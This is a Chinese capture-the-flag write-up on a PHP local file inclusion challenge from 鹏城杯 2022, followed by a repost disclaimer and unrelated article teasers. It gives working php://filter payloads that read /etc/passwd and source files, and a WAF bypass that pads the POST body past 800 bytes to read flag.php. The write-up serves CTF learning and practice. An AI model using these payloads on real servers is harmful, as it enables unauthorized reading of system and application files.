[鹏城杯 2022]简单包含

[鹏城杯 2022]简单包含 wp

题目代码如下:

 <?php 
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php; 
直接 POST 传参:
flag=/var/www/html/flag.php 

会触发 waf 。

尝试用伪协议读取:
flag=php://filter/read=convert.base64-encode/resource=flag.php

还是触发了 waf 。

但是我用伪协议读取 /etc/passwd 文件是可以的:
flag=php://filter/read=convert.base64-encode/resource=/etc/passwd

返回结果:

在这里插入图片描述

说明伪协议字段并没有被过滤,那么过滤的应该是 flag 字符串。

既然 flag.php 看不了,那看看 index.php 应该可以吧:
flag=php://filter/read=convert.base64-encode/resource=index.php

成功读取,解码后获得 index.php 的内容:

<?php$path = $_POST["flag"];if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {echo 'nssctf waf!';
} else {@include($path);
}
?><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br /><?php 

这里面果然有过滤规则。

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {echo 'nssctf waf!';

既然用的是 && ,那么两个条件有一个不满足那么就可以绕过。

绕过 waf

php://input 伪协议就是用来获取请求体内容的,那么只要请求体长度超过 800 就可以绕过 waf :

比如:

q=q......q(800个)&flag=php://filter/read=convert.base64-encode/resource=flag.php

拿到 flag :

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/307342.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SV接口的驱动和采样_2023.12.27】

cb 使用cloking block进行信号的同步 在cloking block&#xff0c;所有信号的采样和驱动&#xff0c;都是和时钟同步的 clocking cb &#xff08;posedge clk&#xff09;; input grant; output request; endclocking接口同步 用和wait来同步测试平台中的信号 bus.cb; 接口…

【Angular 】Angular 模板中基于角色的访问控制

您是否在Angular模板中实现角色库访问控制&#xff1f;一种方法是通过*ngIf&#xff0c;但我不会选择该路径&#xff0c;因为它将在Angular模板中包含自定义函数&#xff0c;并且很难维护。正确的方法是使用Angular结构指令&#x1f680;. 什么是RBAC&#xff1f; 基于角色的…

年底离职潮来了!来聊聊程序员的离职跳槽

每当元旦春节将至的时候&#xff0c;办公室的气氛也诡异起来&#xff0c;空气弥漫着离职的味道。因为积累许久的负面情绪长期无法获得释放&#xff0c;打工人对工作的容忍度越发稀薄了起来&#xff0c;有的打工人看似正襟危坐地坐在工位上&#xff0c;实则愤然辞职的念头在心里…

STM32F030F4P6 ADC多通道定时器触发DMA搬运

配置多通道ADC 配置定时器1s读一次 主函数中等待转换完成的标志位&#xff0c;然后打印出来。 uint16_t adc_buffer[2] {0}; uint8_t adc_flag; float curr,vol;HAL_ADCEx_Calibration_Start(&hadc); HAL_TIM_Base_Start(&htim3); HAL_ADC_Start_DMA(&hadc,(uint3…

悔不该用中文作为Windows的用户名啊~

前言 汉字在中华文明已经有了几千年的历史&#xff0c;小伙伴们所使用名字更是伴随了自己一生。所以小白们在拿到自己的新电脑&#xff0c;总会想着把自己的中文名字设置为电脑的用户名&#xff0c;这样更能显示出那是自己的专属电脑&#xff01; 一开始小白也是这么想的&…

C/C++ 函数参数按引用传递、指针传递、实参传递

引用经常被用作函数参数&#xff0c;使得函数中的变量名成为调用程序中的变量的别名。这种传递参数的方法称为按引用传递。按引用传递允许被调用的函数能够访问调用函数中的变量。C新增的这项特性是对 C语言的超越&#xff0c;C语言只能按值传递。按值传递导致被调用函数使用调…

电脑报错缺失vcomp140.dll无法执行代码怎么解决?快速的修复vcomp140.dll方案

vcomp140.dll无法执行代码怎么解决&#xff1f;vcomp140.dll是常见的系统文件&#xff0c;许多用户遇到它缺失导致程序无法运行的问题。本文旨在提供彻底解决此问题的方法&#xff0c;并对vcomp140.dll文件本身进行了简要说明。 以下是几种修复缺失的vcomp140.dll文件的方法 第…

车载导航定制_ 基于联发科MT6737核心板的车载终端解决方案

近年来&#xff0c;车载导航在智能化和功能化方面得到了长足的发展&#xff0c;不再仅仅局限于导航功能&#xff0c;而是集成了多种驾驶辅助功能&#xff0c;为驾驶者提供了全方位的行车辅助体验。这些功能包括车辆行车记录、倒车影像、AR实景导航、语音助手、ADAS辅助、云电子…

C++ Qt开发:SqlRelationalTable关联表组件

Qt 是一个跨平台C图形界面开发库&#xff0c;利用Qt可以快速开发跨平台窗体应用程序&#xff0c;在Qt中我们可以通过拖拽的方式将不同组件放到指定的位置&#xff0c;实现图形化开发极大的方便了开发效率&#xff0c;本章将重点介绍SqlRelationalTable关联表组件的常用方法及灵…

MySQL的高级SQL语句

目录 1.mysql高阶查询 select&#xff1a;显示表格中一个或数个字段的所有数据记录 distinct&#xff1a;不显示重复的数据记录 where&#xff1a;有条件查询 AND OR &#xff1a;且 或 in&#xff1a;显示已知值的数据记录 between&#xff1a;显示两个值范围内的数据记…

rime中州韵 自定义词典

在使用 rime 输入法的过程&#xff0c; 我们往往会需要增加一些个个性化的词条&#xff0c;这些词条我们可能通过自定义词典的方式来管理和使用。 Custom_phrase.txt 首先&#xff0c;我们需要有一个词典文档&#xff0c;这里我们把 Custom_phrase.txt 文档作为我们的自定义文…

【WordPress插件】热门关键词推荐v1.3.0 Pro开心版

介绍&#xff1a; WordPress插件-WBOLT热门关键词推荐插件&#xff08;Smart Keywords Tool&#xff09;是一款集即时关键词推荐、关键词选词工具及文章智能标签功能于一体的WordPress网站SEO优化插件。 智能推荐&#xff1a; 热门关键词推荐引擎-支持360搜索、Bing、谷歌&a…